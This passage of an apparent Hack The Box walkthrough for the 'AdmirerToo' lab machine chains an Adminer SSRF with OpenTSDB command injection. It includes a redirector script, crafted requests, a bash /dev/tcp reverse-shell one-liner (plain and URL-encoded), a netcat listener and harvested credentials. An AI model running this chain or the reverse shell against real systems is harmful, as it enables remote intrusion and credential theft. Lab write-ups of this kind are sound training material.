 :: Header           : Host: FUZZ.admirer-gallery.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response words: 4572
________________________________________________

db                      [Status: 200, Size: 2511, Words: 108, Lines: 63]
:: Progress: [4989/4989] :: Job [1/1] :: 166 req/sec :: Duration: [0:00:30] :: Errors: 0 ::
```

We got one available vhost. Let’s add that to hosts file and check the webpage.

``` bash
10.10.11.137    admirer-gallery.htb db.admirer-gallery.htb
```

``` bash
http://db.admirer-gallery.htb/

Adminer 4.7.8
```

We have access to database via web. Let’s enter and look for any interesting tables. just hit enter, and we are in...

The interesting part of this is, it didn’t ask for any ‘password’ to access after clicking ‘enter’ button. There’s only one table and nothing really interesting in that. The reason it didn’t ask for any credentials is, it has hard-coded them in this page and by-default it post them once we click on ‘enter’ button.

``` bash
<input type="hidden" name="auth[driver]" value="server">
<input type="hidden" name="auth[server]" value="localhost">
<input type="hidden" name="auth[username]" value="admirer_ro">
<input type="hidden" name="auth[password]" value="1w4nn4b3adm1r3d2!">
<input type='hidden' name="auth[db]" value="admirer"/>
<input type='hidden' name="auth[permanent]" value="1"/>
```

I tried to use that password to login via SSH, but it didn’t work. But, ‘Adminer 4.7.8’ is being used for this service. There’s a vulnerability that exists on this version.

 - [CVE-2021-21311](https://www.cvedetails.com/cve/CVE-2021-21311/)

Server-Side Request Forgery is possible to access an internal server/service.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2131.jpg)

 - [SSRF in adminer](https://github.com/advisories/GHSA-x5r2-hj5c-8jx6)

There’s a POC already available for this. Look into the PDF for POC. We need to setup a redirector on our Kali Linux machine.

 - [SSRF (Server Side Request Forgery)](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)

We will use this below python code to do that.

``` python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```

Execute the python script.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1
```

For this to work, we need to capture the request of logging into the DB in Burp Suite. Make sure not to send this to repeater.

``` bash
POST /?server=localhost HTTP/1.1
Host: db.admirer-gallery.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://db.admirer-gallery.htb/?server=localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://db.admirer-gallery.htb
Connection: close
Cookie: adminer_sid=29gtagudqps5momjqjgbhh7rlj; adminer_key=4f375147fa14364db1dde412c5bac310; adminer_permanent=; adminer_version=0
Upgrade-Insecure-Requests: 1

auth%5Bdriver%5D=server&auth%5Bserver%5D=localhost&auth%5Busername%5D=admirer_ro&auth%5Bpassword%5D=1w4nn4b3adm1r3d2%21&auth%5Bdb%5D=admirer&auth%5Bpermanent%5D=1
```

This is a default request. If we change ‘Auth Server’ value from ‘localhost’ to our ‘Kali IP address’ and forward the request to server, then we’d get this error.

``` bash
Connection refused
```

So, we need to edit ‘Auth Driver’ value and ‘Auth Server’ value. According to POC PDF, we need to modify auth drive value to ‘elasticsearch’ and auth server value as our attacking machine’s IP address (Kali Linux).

***‘Adminer’ support multiple database connection, MongoDB, MySQL, MSSQL, ElasticSearch, PostgreSQL, SqlLite and Oracle.***

After changing the both values, I couldn’t get a hit on our python script. Then I looked into the source of ‘Adminer’.

 - [adminer/adminer/drivers/](https://github.com/vrana/adminer/tree/master/adminer/drivers)

All the driver names and it source is available in above link.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2132.jpg)

As you can see the source, the driver name is just ‘elastic’ not ‘elasticsearch’. This is the reason it didn’t work. Let’s change both values one more time.

``` bash
POST /?elasticsearch=10.10.14.8&username=admirer_ro&db=admirer HTTP/1.1
Host: db.admirer-gallery.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://db.admirer-gallery.htb/?elasticsearch=10.10.14.8&username=admirer_ro&db=admirer
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://db.admirer-gallery.htb
Connection: close
Cookie: adminer_sid=cbd54v8p1cadk2ft514nvvkbql; adminer_key=4f375147fa14364db1dde412c5bac310; adminer_permanent=ZWxhc3RpY3NlYXJjaA%3D%3D-MTAuMTAuMTQuOA%3D%3D-YWRtaXJlcl9ybw%3D%3D-YWRtaXJlcg%3D%3D%3ALUuxevMNmJyUN51ewElaJA2hzN1Na%2BFY; adminer_version=0
Upgrade-Insecure-Requests: 1


auth%5Bdriver%5D=elastic&auth%5Bserver%5D=10.10.14.8&auth%5Busername%5D=admirer_ro&auth%5Bpassword%5D=1w4nn4b3adm1r3d2%21&auth%5Bdb%5D=admirer&auth%5Bpermanent%5D=1
```

After changing values, forward the request to server and check the python script.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1
10.10.11.137 - - [23/Jan/2022 04:44:11] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 04:44:11] "GET / HTTP/1.0" 302 -
```

As you can see, we got 302 (redirect) hits on python script. Now check the webpage.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2133.jpg)

We got the index.html source of target port 80. This simply means, we can access any locally running service. As we saw in our initial port scan that three ports are filtered. Let’s try to access them via SSRF. Setup redirector for any of the three filtered ports.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1:4242
```

Intercept the login request once again and check the webpage.

``` bash
<!DOCTYPE html><html><head><meta http-equiv=content-type content="text/html;charset=utf-8"><title>OpenTSDB</title> <style><!-- body{font-family:arial,sans-serif;margin-left:2em}A.l:link{color:#6f6f6f}A.u:link{color:green}.fwf{font-family:monospace;white-space:pre-wrap}//--></style><script type=text/javascript language=javascript src=s/queryui.nocache.js></script></head> <body text=#000000 bgcolor=#ffffff><table border=0 cellpadding=2 cellspacing=0 width=100%><tr><td rowspan=3 width=1% nowrap><img src=s/opentsdb_header.jpg><td>&nbsp;</td></tr><tr><td><font color=#507e9b><b></b></td></tr><tr><td>&nbsp;</td></tr></table><div id=queryuimain></div><noscript>You must have JavaScript enabled.</noscript><iframe src=javascript:'' id=__gwt_historyFrame tabIndex=-1 style=position:absolute;width:0;height:0;border:0></iframe><table width=100% cellpadding=0 cellspacing=0><tr><td class=subg><img alt="" width=1 height=6></td></tr></table></body></html>
```

As you can see, we got the response and it reveals the title name as ‘OpenTSDB’.

***OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.***

There four Vulnerabilities are present in OpenTSDB.

 - [Opentsdb : Security Vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-18666/product_id-47794/Opentsdb-Opentsdb.html)

Two of them are Code Execution. But we need to find the right version information of running application. To get version information, we can use the below endpoint.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1:4242/api/version
```

After setting the redirector for the version endpoint, capture the login request and modify it a previously and forward it to server.

``` bash
{"short_revision":"14ab3ef","repo":"/home/hobbes/OFFICIAL/build","host":"clhbase","version":"2.4.0","full_revision":"14ab3ef8a865816cf920aa69f2e019b7261a7847","repo_status":"MINT","user":"hobbes","branch":"master","timestamp":"1545014415"}
```

Alright, we got the version information. It is using 2.4.0 and RCE via command injection exists in this version.

 - [CVE-2020-35476](https://www.cvedetails.com/cve/CVE-2020-35476/)

The POC is already available for this vulnerability.

 - [OpenTSDB 2.4.0 Remote Code Execution](https://github.com/OpenTSDB/opentsdb/issues/2051)

``` bash
http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27touch/tmp/poc.txt%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```

he above is the demo link with payload which creates file in tmp directory. So we need to modify it according to our situation.

``` bash
python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27ping+-c+4+10.10.14.8%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
```

First we need to set the redirector via python script to exploit the vulnerability and I am injecting ping command to check the vulnerability. I will setup a tcpdump to log the incoming ICMP requests.

``` bash
tcpdump -i tun0 icmp
```

Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.

``` bash
{"err":"java.lang.RuntimeException: Unexpected exception\n\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelUpstreamHandler.handleUpstream(IdleStateAwareChannelUpstreamHandler.java:36) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentEncoder.messageReceived(HttpContentEncoder.java:82) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentDecoder.messageReceived(HttpContentDecoder.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpChunkAggregator.messageReceived(HttpChunkAggregator.java:145) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:459) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:536) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat net.opentsdb.tsd.ConnectionManager.handleUpstream(ConnectionManager.java:128) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) [netty-3.10.6.Final.jar:na]\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_292]\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_292]\n\tat java.lang.Thread.run(Thread.java:748) [na:1.8.0_292]\nCaused by: com.stumbleupon.async.DeferredGroupException: At least one of the Deferreds failed, first exception:\n\tat com.stumbleupon.async.DeferredGroup.done(DeferredGroup.java:169) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.recordCompletion(DeferredGroup.java:142) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.access$000(DeferredGroup.java:36) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup$1Notify.call(DeferredGroup.java:82) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.callback(Deferred.java:1005) ~[async-1.4.0.jar:na]\n\tat org.hbase.async.HBaseRpc.callback(HBaseRpc.java:720) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:1575) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:88) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:500) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.RegionClient.handleUpstream(RegionClient.java:1230) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelHandler.handleUpstream(IdleStateAwareChannelHandler.java:36) ~[netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.HBaseClient$RegionClientPipeline.sendUpstream(HBaseClient.java:3857) ~[asynchbase-1.8.2.jar:na]\n\t... 12 common frames omitted\nCaused by: net.opentsdb.uid.NoSuchUniqueName: No such name for 'metrics': 'sys.cpu.nice'\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]\n\t... 34 common frames omitted\n"}
......
No such name for 'metrics': 'sys.cpu.nice'\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]\n\t... 34 common frames omitted\n"}
```

After forwarding the request, we’d get this error page. The important part of this is mentioned at the end of the error.

The error is triggered because the ‘metrics’ which we used (sys.cpu.nice) is not available, so it couldn’t able to complete the code execution. So, we need to find the available ‘metrics’ on the application.

 - [OpenTSDB 2.4 documentation » HTTP API » /api/suggest](http://opentsdb.net/docs/build/html/api_http/suggest.html)

To find available metrics we have to use below endpoint.

``` bash
python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/api/suggest?type=metrics'
```

Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.

``` bash
["http.stats.web.hits"]
```

As you can see, there’s is only one metrics available in the application. Let’s modify our redirect link accordingly.

Now we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server. Then check the tcpdump output for ICMP reply.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27ping+-c+4+10.10.14.8%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
10.10.11.137 - - [23/Jan/2022 05:23:01] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:23:05] "GET / HTTP/1.0" 302 -
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
05:23:02.294554 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 1, length 64
05:23:02.294586 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 1, length 64
05:23:03.267590 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 2, length 64
05:23:03.267611 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 2, length 64
05:23:04.246377 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 3, length 64
05:23:04.246401 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 3, length 64
05:23:05.232024 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 4, length 64
05:23:05.232051 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 4, length 64
```

We got the response back, we have a working RCE chained with SSRF. Now it’s time to gain a shell. Make sure to URL encode your reverse shell one-liner, something like below.

``` bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1"
```

url encoded:

``` bash
%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%39%30%30%31%20%30%3e%26%31%22
```

Setup the redirector one more time and execute the SSRF via login by modifying values, then check the netcat listener.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%39%30%30%31%20%30%3e%26%31%22%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
10.10.11.137 - - [23/Jan/2022 05:33:28] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:33:28] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:34:27] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:35:28] "GET / HTTP/1.0" 302 -
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -lvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:42416.
bash: cannot set terminal process group (535): Inappropriate ioctl for device
bash: no job control in this shell
opentsdb@admirertoo:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
opentsdb@admirertoo:/$ ^Z
[1]+  Stopped                 nc -lvp 9001

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# stty raw -echo                                                                                                                  

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
nc -lvp 9001                                                                                                                        
            reset
reset: unknown terminal type unknown
Terminal type? screen
opentsdb@admirertoo:/$ id
uid=1000(opentsdb) gid=1000(opentsdb) groups=1000(opentsdb)
opentsdb@admirertoo:/$ whoami
opentsdb
```

#### Privilege Escalation - User

``` bash
opentsdb@admirertoo:/home/jennifer$ cat user.txt 
cat: user.txt: Permission denied
opentsdb@admirertoo:/home/jennifer$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
jennifer:x:1002:100::/home/jennifer:/bin/bash
```

We need to escalate our privileges to ‘Jennifer’ user. After running ‘Linpeas’ application, we will get database credentials.

``` bash
╔══════════╣ Searching passwords in config PHP files
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats_dev');
define('DATABASE_PASS', 'adm1r3r0fc4ts');
define('DATABASE_USER', 'cats');
```

This is not from OpenTSDB configuration file. But, from ‘OpenCats’ application directory.

``` bash
opentsdb@admirertoo:/opt/opencats$ ls
ajax             constants.php      issue_template.md  rebuild_old_docs.php
ajax.php         db                 js                 rss
attachments      docker             lib                scripts
careers          Error.tpl          LICENSE.md         src
careersPage.css  ie.css             main.css           temp
CHANGELOG.MD     images             modules            test
ci               index.php          not-ie.css         upload
composer.json    INSTALL_BLOCK      optional-updates   vendor
composer.lock    installtest.php    QueueCLI.php       wsdl
config.php       installwizard.php  README.md          xml
```

***OpenCATS is a completely free open source ATS. Designed for recruiters, OpenCATS provides basic ATS services such as candidate tracking, resume parsing, and job requisition and posting.***

OpenCats is probably running on the machine and from it’s configuration file we got database credentials. Let’s login into DB and look for any passwords.

``` bash
opentsdb@admirertoo:/opt/opencats$ mysql -D cats_dev -u cats -padm1r3r0fc4ts
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 101
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [cats_dev]> select password,user_name,user_id from user\G
*************************** 1. row ***************************
 password: dfa2a420a4e48de6fe481c90e295fe97
user_name: admin
  user_id: 1
*************************** 2. row ***************************
 password: cantlogin
user_name: cats@rootadmin
  user_id: 1250
*************************** 3. row ***************************
 password: f59f297aa82171cc860d76c390ce7f3e
user_name: jennifer
  user_id: 1251
3 rows in set (0.001 sec)
```

We have user password, but they are stored in hashed format (MD5). I couldn’t able to crack the hashes. However, I found passwords in ‘admirer’ directory.

``` bash
opentsdb@admirertoo:~$ grep -iRl 'password' /var/www/adminer/ 2>/dev/null
/var/www/adminer/plugins/oneclick-login.php
/var/www/adminer/plugins/plugin.php
/var/www/adminer/adminer-included-0ae90598f37b20e3e7eb122c427729ed.php
```

There are three files probably with saved passwords. But when I checked those files,those are not actual passwords. However, inside ‘plugins’ directory there’s another directory called ‘data’, it has another password.

``` bash
opentsdb@admirertoo:/var/www/adminer/plugins/data$ cat servers.php
<?php
return [
  'localhost' => array(
//    'username' => 'admirer',
//    'pass'     => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
    'username' => 'admirer_ro',
    'pass'     => '1w4nn4b3adm1r3d2!',
    'label'    => 'MySQL',
    'databases' => array(
      'admirer' => 'Admirer DB',
    )
  ),
];
```

This password has reused for ‘Jennifer’ user’s login. Let’s ssh and read the user flag.

``` bash
jennifer:bQ3u7^AxzcB7qAsxE3

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# ssh jennifer@10.10.11.137
